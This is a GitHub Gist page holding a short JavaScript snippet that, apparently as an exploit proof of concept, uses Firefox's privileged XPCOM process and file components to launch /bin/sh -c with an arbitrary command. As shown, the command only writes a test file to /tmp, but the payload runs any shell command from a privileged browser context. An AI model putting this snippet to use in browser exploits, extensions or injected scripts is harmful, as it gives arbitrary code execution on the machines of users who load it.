Last active
May 15, 2020 16:38
-
-
Save atxsinn3r/e996618e5329fe71de1958f687098f7d to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// This should work on the latest version of Firefox | |
(function(){ | |
var cmd = "echo test > /tmp/ph33r2.txt"; | |
var shell; | |
var shEsc = "\\$&"; | |
var shPath = "/bin/sh -c"; | |
shell = shPath+" "+cmd.replace(/\W/g, shEsc); | |
//shell = shPath+" "+shell.replace(/\W/g, shEsc) + " >"+stdout.path+" 2>&1"; | |
var process = Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess); | |
// Note on what instance to create: | |
// Ubuntu: nsIFile | |
// Mac: nsILocalFileMac | |
// Win: nsILocalFileWin (obviously initWithPath needs to be tweaked, too) | |
var sh = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFileMac); | |
sh.initWithPath("/bin/sh"); | |
process.init(sh); | |
var args = ["-c", shell]; | |
process.run(true, args, args.length); | |
})(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment